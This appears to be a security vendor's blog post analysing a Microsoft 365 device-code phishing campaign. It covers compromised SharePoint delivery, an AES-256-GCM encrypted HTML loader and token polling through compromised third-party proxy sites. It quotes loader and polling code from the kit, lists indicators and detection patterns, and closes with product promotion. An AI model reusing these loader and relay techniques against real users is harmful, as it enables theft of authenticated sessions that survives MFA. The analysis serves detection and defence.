Back to Blog
threat-intelligencephishingdevice-code-phishingbrowser-securitycredential-theft

Signs Australia: Device-Code Phishing With Encrypted HTML and Compromised SharePoint

August 27, 2026Grant Smith

Surface Security recently analyzed a Microsoft 365 phishing campaign that combines three techniques rarely seen together in a single, self-contained file: compromised SharePoint delivery infrastructure, a client-side AES-256-GCM encrypted HTML loader, and a real-time OAuth device-code relay. Together they let an attacker walk away with a fully authenticated Microsoft 365 session, access and refresh tokens issued by Microsoft itself, without ever seeing the victim's username, password, or MFA response, and without hosting a single malicious byte on newly registered infrastructure.

We have written before about device-code phishing and about session theft that survives MFA. This campaign folds both ideas into one artifact and wraps them in encryption.

Delivery: someone else's SharePoint

The campaign was delivered through a compromised signsaustralia.com.au Microsoft 365 tenant. Victims received a link to an HTML file staged on the company's own SharePoint/OneDrive environment (signsaustralia-my.sharepoint.com), sitting in a real user's personal document library. That link inherits the reputation, the valid TLS, and the implicit trust of *.sharepoint.com, along with the credibility of a named, real business.

A ?download=1 parameter on the share link forces the browser to save the file to disk instead of opening it in SharePoint's read-only viewer. Small choice, deliberate one: the attack only works once the HTML executes as a local document in the victim's browser.

An encrypted loader, not a phishing page

The downloaded file is not a phishing page in any form a scanner can read. It is an encrypted loader. The entire phishing interface is stored inside the document as a single base64 blob and decrypted locally, in the browser, using the standard WebCrypto API:

let key = await crypto.subtle.importKey("raw", bs3(oz4), "AES-GCM", false, ["decrypt"]);
let combined = concat(ciphertext, authTag);          // 16-byte GCM tag appended to ciphertext
let plaintext = await crypto.subtle.decrypt({ name: "AES-GCM", iv: nonce }, key, combined);
document.open();
document.write(new TextDecoder().decode(plaintext));  // phishing DOM materializes here
document.close();

The cipher is AES-256-GCM, and the 21,447-byte ciphertext decrypts one-to-one into the phishing HTML. The decryption key, the 12-byte IV, and the 16-byte authentication tag are all embedded in the same file as the ciphertext. This encryption provides no confidentiality against an analyst. It exists purely as evasion.

A static scanner, email gateway, or CASB inspecting the downloaded .html sees only an opaque ciphertext string and a handful of crypto.subtle.decrypt() and document.write() calls. The malicious page has no plaintext existence anywhere on the wire, on the mail server, or on disk. It is reconstructed for the first time inside the victim's rendering engine, the one place most content-inspection controls cannot follow.

A real-time device-code relay

Once decrypted, the page renders a polished "Adobe Acrobat Security Verification" workflow: "Waiting for your signature," a three-step instruction card, and a "Sign in with Microsoft" button styled as Secured by Microsoft 365. It is not harvesting a password. It is orchestrating Microsoft's OAuth 2.0 Device Authorization Grant so that the attacker's session is the one being authorized.

The decrypted phishing page, opened as a local file (the address bar reads File C:/Users/.../Downloads/Signs Australia_Project_2026.html). A white "Security Verification" card shows a red PDF icon with "PDF, Waiting for your signature," an "Almost there... Ready to verify" line, and a dark panel headed "YOUR VERIFICATION CODE" displaying a live Microsoft device code (BEB9CAX2M) above a blue "Copy Code" button. Three numbered steps tell the victim to copy the code, click "Sign in with Microsoft," and paste it to sign in. A blue "Sign in with Microsoft" button sits below a "Secured by Microsoft 365" footer. Every element is fake except the device code, which is genuine and issued by Microsoft.

1. Request a live device code. On load, the page POSTs to its backend:

var API_URL = 'https://riyadhpaints.com/secured/proxy.php';
var USER_ID = 14;
// action: 'get_auth_broker_device_code', user_id: 14, tenant_id: 'common'

The backend calls Microsoft's genuine device-code endpoint against the common tenant and returns a real user_code and device_code. The action name, get_auth_broker_device_code, matters: the operator is requesting the code as the Microsoft Authentication Broker first-party client. Tokens issued to that client are unusually powerful. They can support device registration and issuance of a Primary Refresh Token (PRT), which gives broad, durable, SSO-grade access across Microsoft 365 rather than one narrowly scoped app token. That is deliberate target selection, not incidental.

2. Hand the victim a genuine Microsoft code. The page shows the real user_code, and when the victim clicks "Sign in with Microsoft," it silently copies the code to the clipboard (navigator.clipboard.writeText) and opens a 520x640 popup to the legitimate https://microsoft.com/devicelogin. From here, every credential interaction happens on Microsoft's own domain. The victim types their username, password, and completes MFA directly into Microsoft. The phishing infrastructure never sees any of it, and never needs to.

Looping capture of the flow with no browser protection in place. The local phishing document is open behind a popup window titled "Sign in to your account," pointed at the genuine login.microsoftonline.com/common/oauth2/deviceauth page. Microsoft's real "Enter code to allow access" screen appears, warning "Do not enter codes from sources you don't trust" (the browser's saved-account autofill is blacked out in this capture). Every credential step happens on Microsoft's own domain, so the attacker's backend never sees the password or MFA and still receives the resulting tokens.

3. Poll for the token. While the victim authenticates, the page polls its backend every five seconds:

pollInterval = setInterval(function () {
  fetch(API_URL, { method: 'POST', body: JSON.stringify({
    action: 'poll_auth_broker_token',
    device_code: currentDeviceCode,
    user_id: USER_ID, tenant_id: 'common'
  })})
  .then(r => r.json())
  .then(function (data) {
    if (data.success) {                    // tokens now held server-side by the attacker
      window.location.href = 'https://www.adobe.com/acrobat/online/pdf-to-woord.html';
    } else if (data.waiting) { /* keep polling */ }
  });
}, 5000);

The backend polls Microsoft's token endpoint in lockstep with the same device_code. The moment the victim finishes signing in, Microsoft issues authenticated OAuth tokens to the attacker's session: access and refresh tokens for a genuine, MFA-satisfied login.

4. Exit cleanly. On success the victim is redirected to a real Adobe "PDF to Word" page (note the pdf-to-woord misspelling in the path, a small tell), producing a plausible, on-brand ending while the attacker quietly retains a live session.

This is token theft, not password theft. A password reset alone does not remediate it. The stolen refresh token stays valid until sessions are explicitly revoked (Revoke-MgUserSignInSession).

DEBULL-style infrastructure

Several artifacts point to DEBULL or DEBULL-derived phishing tooling. The backend action strings get_auth_broker_device_code and poll_auth_broker_token have previously been associated with DEBULL device-code phishing, and closely match its documented Authentication-Broker workflow: request a broker device code, then poll a proxy for the resulting token.

The source also carries multiple Turkish-language developer comments, PROXY ÜZERİNDEN API ÇAĞRISI ("API call via proxy"), Kodu kopyala ("copy the code"), Polling başlat ("start polling"), bekliyor - devam ("waiting, continue"). This should not be read as attribution to a Turkish operator; the comments most likely originate from the shared kit rather than whoever deployed it.

An embedded USER_ID = 14 is sent with every backend request. It reads at first like per-victim tracking, but in a multi-tenant kit a low hardcoded integer is more consistent with a DEBULL operator, affiliate, or campaign slot than a per-target token.

Compromised infrastructure at every stage

Almost every externally visible component belongs to a legitimate, otherwise-uninvolved organization:

StageWhere it lives
DeliveryCompromised M365 tenant, signsaustralia-my.sharepoint.com
Backend relayriyadhpaints.com (a Saudi paint manufacturer) and horadopod.com.br (a Brazilian podcast site), both apparently compromised
Authenticationmicrosoft.com/devicelogin
Exitadobe.com

The victim downloads from SharePoint, authenticates on Microsoft, and, depending on the deployment, may only ever talk to compromised-but-legitimate sites rather than any newly registered attacker domain. That structure systematically defeats domain-age heuristics, newly-registered-domain blocking, and simple URL-reputation scoring, because there is often nothing new or bad for those systems to flag.

Why traditional controls struggle

This is not credential phishing, and it evades the stack built for credential phishing at several distinct layers:

ControlWhy it misses
Secure email gateway / URL reputationTrusts the SharePoint origin and the Microsoft/Adobe destinations
Static and AV file scanningSees only ciphertext plus crypto.subtle.decrypt() and document.write(); the UI does not exist until the browser renders it
Credential-phishing detectionNo credential is ever submitted to an attacker domain
MFACompleted normally, by the real user, on Microsoft's legitimate page, so the tokens are fully MFA-satisfied
Password resetToken theft, not password theft; the refresh token survives until sessions are revoked

The campaign is effectively a stack of individually-known blind spots assembled into one coherent workflow: trusted SharePoint delivery, encrypted client-side content, authentication on Microsoft's real domain, MFA-compliant OAuth authorization, token theft rather than password theft, and compromised third-party sites as backend relays.

This is not a new device-code technique

Device-code phishing is well documented. Microsoft and independent researchers have described campaigns abusing the OAuth Device Authorization Grant, including Authentication Broker abuse, dynamically generated codes, clipboard-assisted victim workflows, and backend token polling. AES-GCM/WebCrypto encrypted HTML loaders have appeared in prior operations too.

What is notable here is the specific combination and deployment: a compromised M365 tenant for delivery, a fully self-contained encrypted HTML loader, DEBULL-style Authentication-Broker token brokering, and compromised third-party sites acting as backend proxies, all bound together in one artifact. We have not identified public reporting describing this exact chain. On that basis we assess this as a newly observed campaign, and potentially a new DEBULL deployment, rather than a fundamentally new phishing technique.

Detection and response

Prevent where you can. Organizations that do not require OAuth device-code authentication should disable it via Microsoft Entra Conditional Access (authenticationFlows -> deviceCodeFlow = blocked), excluding break-glass accounts. Scoped correctly, this is the single highest-impact control against the entire class of attack: it removes the mechanism the campaign depends on.

Detect what remains. Where the flow must stay enabled, correlate identity telemetry with browser and endpoint signals:

  • Unexpected deviceCode authentication flows in Entra sign-in logs
  • Microsoft Authentication Broker authorization from an unusual or unmanaged device
  • Authentication immediately followed by unexpected device registration or PRT issuance
  • Sign-in geolocation diverging from the endpoint's location
  • HTML files that perform WebCrypto decryption followed by dynamic DOM replacement (crypto.subtle.decrypt -> document.write/document.open)
  • Outbound POSTs carrying get_auth_broker_device_code or poll_auth_broker_token
  • Recently downloaded HTML/HTM originating from SharePoint or OneDrive
  • Authentication initiated shortly after a locally downloaded HTML document is opened

Respond decisively. Treat the compromised signsaustralia.com.au account as breached: reset credentials, revoke sessions and refresh tokens (Revoke-MgUserSignInSession), and review sharing and mailbox activity. For any user who completed the flow, session/token revocation, not a password reset, is what actually invalidates what the attacker holds. Then hunt for attacker-created device registrations and OAuth grants that may persist beyond the stolen token.

Why browser-level visibility matters

Nearly every evasive property of this campaign converges on the browser. It is the one vantage point that observes the whole sequence end to end: the SharePoint download, the local execution of the encrypted HTML, the WebCrypto decryption and DOM replacement, the clipboard write, the navigation to Microsoft's device-login page, and the outbound traffic to the token-broker proxies.

Identity logs see a "successful" MFA login. Email gateways see a trusted SharePoint link. The file scanner sees ciphertext. Only the browser sees the causal chain that connects them. Surface Vision runs there, on the rendered document the victim is actually looking at, which is the only place this attack is ever fully assembled.

The same local phishing document with Surface protecting the browser. A dark "Page Blocked" interstitial replaces the phishing content, with a red shield icon and the message "This page opened a device sign-in window to steal your account access. Do not return to it." The stated reason reads "Device code page opened from another tab/window (opener origin unreadable, cross-origin)," followed by "Redirecting to security page..." and a "Protected by Surface Security" footer. Surface catches the causal link between the local document and the device-login popup, on the page itself, before the victim can authorize the attacker's session.

Indicators observed

TypeIndicator
Lure fileSigns Australia_Project_2026.html
Deliverysignsaustralia-my.sharepoint.com (compromised M365 tenant; ?download=1)
LoaderAES-256-GCM encrypted HTML; key, IV, GCM tag embedded in-file; crypto.subtle.decrypt -> document.write
Token-broker proxyhttps://riyadhpaints.com/secured/proxy.php
Token-broker proxyhttps://horadopod.com.br/proxy.php
Backend actionsget_auth_broker_device_code, poll_auth_broker_token
Parameterstenant_id: common, USER_ID: 14
Auth endpoint (abused)https://microsoft.com/devicelogin
Post-auth decoyhttps://www.adobe.com/acrobat/online/pdf-to-woord.html

These rotate quickly; treat them as leads rather than lasting signatures.

Conclusion

Phishing is moving away from stealing passwords and toward stealing authenticated sessions. In this campaign the attacker never needed the victim's credentials; they needed the victim to authorize the attacker's session using Microsoft's own infrastructure, and MFA, completed faithfully by the real user, did nothing to stop it.

The combination of compromised SharePoint delivery, encrypted browser-side content, legitimate Microsoft authentication, and OAuth token theft lets the majority of the attack travel through infrastructure organizations inherently trust. The result can look benign to email gateways, URL reputation, credential-phishing detection, and even MFA.

The most important defensive signal is no longer where a user enters their password. It is the whole authentication workflow that led them there. If you want to see how Surface handles live device-code samples in your own browsers, or test your current stack against one, get in touch.